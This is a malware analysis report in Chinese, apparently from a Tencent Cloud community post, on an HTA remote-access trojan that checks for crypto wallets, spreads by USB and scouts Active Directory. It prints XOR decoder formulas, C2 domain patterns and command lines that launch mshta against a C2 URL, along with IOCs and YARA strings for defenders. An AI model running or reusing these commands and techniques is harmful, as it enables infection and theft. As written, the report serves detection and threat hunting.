
本报告记录了对一个复杂的HTML应用程序(HTA)恶意软件样本的分析,该样本旨在窃取加密货币钱包和执行企业网络侦察。该恶意软件采用了高级混淆技术,通过Windows任务计划程序建立持久化,并使用自定义加密的HTTP流量与其命令与控制(C2)基础设施进行通信。
主要发现:
样本信息摘要
该恶意软件采用两种基于XOR的字符串解码器,以隐藏操作字符串,避免静态分析。
_dgaily)解码用于隐藏执行窗口的HTA应用程序配置:
(index * 137 + 140) & 0xFF<HTA:APPLICATION BORDER='none' SHOWINTASKBAR='no' SYSMENU='no' WINDOWSTATE='minimized'>_dd7j5a)解码所有271个操作字符串,包括COM对象、WMI查询、文件路径和C2端点。
(index * 107 + 218) & 0xFF该恶意软件遍历11个C2域名变体,具有故障转移能力:
https://s{i}-updatehub.cc,其中 {i} = 10, 9, 8, 7, 6, 5, 4, 3, 2, 1, (空)
该RAT在未连接并成功通过C2服务器认证之前,不会继续完全执行。
持续执行需要认证:
如果没有与C2进行网络认证,执行过程最远只会进行到mshta.exe执行hta文件和系统枚举,初始执行之后的后续操作不会发生。我尝试设置一个能捕获RAT请求的虚假C2,但无法或不想花费时间设置认证参数。而且由于我拥有代码,代码审查已提供我所需要的一切。
该恶意软件专门检查流行的加密货币钱包应用程序是否存在:
检测结果通过注册信标中的 ledger=true/false 和 wallets=true/false 参数传输到C2。
该恶意软件通过Windows任务计划程序建立持久化,伪装成合法的Google更新任务。
该恶意软件采用七种不同的下载方法,并具有自动回退机制以确保payload投递成功:
该恶意软件支持从C2服务器接收的以下任务类型:
该恶意软件需要活动的C2服务器才能执行任何恶意功能。它会遍历所有11个C2域名变体,如果没有任何一个响应‘success’,则静默退出。这有效地阻止了在隔离环境中的动态分析。
zonexi() 函数在执行后立即使用 Scripting.FileSystemObject.DeleteFile() 删除HTA文件。
当检测到CrowdStrike Falcon时,恶意软件会修改其执行方法,使用 cmd.exe 包装器:cmd.exe /c start "" /b mshta.exe {url}
window.resizeTo(0,0) 和 window.moveTo(-10000,-10000)。StdRegProv.GetSecurityDescriptor 检查对 HKLM\SECURITY 的访问权限。window.close()。任务类型9实现了针对可移动驱动器的USB传播功能。
.exe, .docx, .pdf, .doc
Win32_DiskDrive 枚举可移动驱动器(USB、外部)。.lnk 快捷方式。cmd.exe /c start "" ".\{original}" & start "" mshta "{C2_URL}"任务类型5触发全面的AD侦察,表明其以企业环境为目标:
Win32_ComputerSystem, Win32_NTDomain, Win32_Group, Win32_GroupUserAdsNameSpaces COM对象与 WinNT:// 提供程序LOGONSERVER 变量用于识别域控制器https://s[1-10]-updatehub.cc (C2域名)https://s-updatehub.cc (C2域名,无数字)%userprofile%\*.exe (下载的payloads)%TEMP%\{random9}.txt (命令输出).lnk 文件GoogleTaskSystem136.0.7023.12{GUID}GoogleUpdaterTaskSystem136.1.7023.12{GUID}mshta.exe 衍生 cmd.exe, powershell.exepowershell.exe -ep Bypass -nopbitsadmin.exe /transfercertutil.exe -urlcacherundll32.exe 用于执行DLL*-updatehub.cc 域名的DNS查询和HTTP流量。mshta.exe 发起外部HTTP连接。mshta.exe 衍生 cmd.exe、powershell.exe 或与网络相关的进程。SecurityCenter2 的WMI查询。certutil.exe 和 bitsadmin.exe 用于文件下载。$hta1 = "HTA:APPLICATION" ascii
$sched1 = "Schedule.Service" ascii
$sched2 = "GoogleTaskSystem136" ascii
$crypto1 = "Ledger Live" ascii
$crypto2 = "@trezor" ascii
$wmi1 = "SecurityCenter2" ascii
$wmi2 = "Win32_NTDomain" ascii
$adsi1 = "WinNT://" ascii我使用Claude帮助验证,发现无法找到完全匹配的现有恶意软件家族。欢迎批评和讨论!我不愿错误地认为发现了新东西,并力求以数据为导向。如有不同意见,请联系我。
UpdateHub HTA RAT — 恶意软件家族比较分析
执行摘要
基于广泛的研究,UpdateHub HTA RAT似乎是一个此前未报告或新出现的恶意软件家族。尽管它与几种已知威胁共享TTPs,但其独特特征使其与现有记录的攻击活动区分开来。
识别出的相似恶意软件家族
UpdateHub RAT的独特特征
这些特征使UpdateHub区别于已知家族:
s10-updatehub.cc → s9-updatehub.cc → … → s-updatehub.cc。这种编号故障转移模式在记录的恶意软件中不常见。GoogleTaskSystem136.0.7023.12{GUID} 和 GoogleUpdaterTaskSystem136.1.7023.12{GUID}。特定的版本号(136.0.7023.12)似乎是该家族独有的。var tetorY = v31af8 * 107 + 218 & 255; coreve769 += String.fromCharCode(testackS[v31af8] ^ tetorY);。这种基于位置的密钥生成的特定XOR模式是独特的。归属评估
YARA规则匹配结果
搜寻建议
content:"updatehub" 或 content:"GoogleTaskSystem136" 或 content:"PT30M" AND content:"P3650D" AND content:"Schedule.Service"*-updatehub.cc;搜索类似的HWID模式s?-updatehub.cc (其中 ? = 0–10);历史解析数据可能揭示基础设施结论
UpdateHub RAT似乎是一个新记录到的威胁,它结合了多个已知恶意软件家族的技术:
在发现与已知活动的直接代码重叠之前,该恶意软件应作为一个独立家族进行追踪。提供的YARA规则应有助于在威胁情报平台中识别相关样本。
参考文献
该HTA恶意软件代表了一个专业开发的多阶段加载器和信息窃取器,具有以下特征:
其复杂程度和功能集表明,这可能是一个商业恶意软件套件或有组织的威胁行为者行动的一部分,同时针对金融(加密货币)和企业资产。C2依赖性既是一种反分析机制,也是一个“开关”,阻止了在隔离分析环境中的执行。FINISHED
CSD0tFqvECLokhw9aBeRqo7yHSMN9tVuhKFdQC4+JBtZMiN4qDlcHtGRvhhUlaY69OrPgCmSX34PL8gvPS/VRNhqHBMaTzeKmH/9+9BD8ng=
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。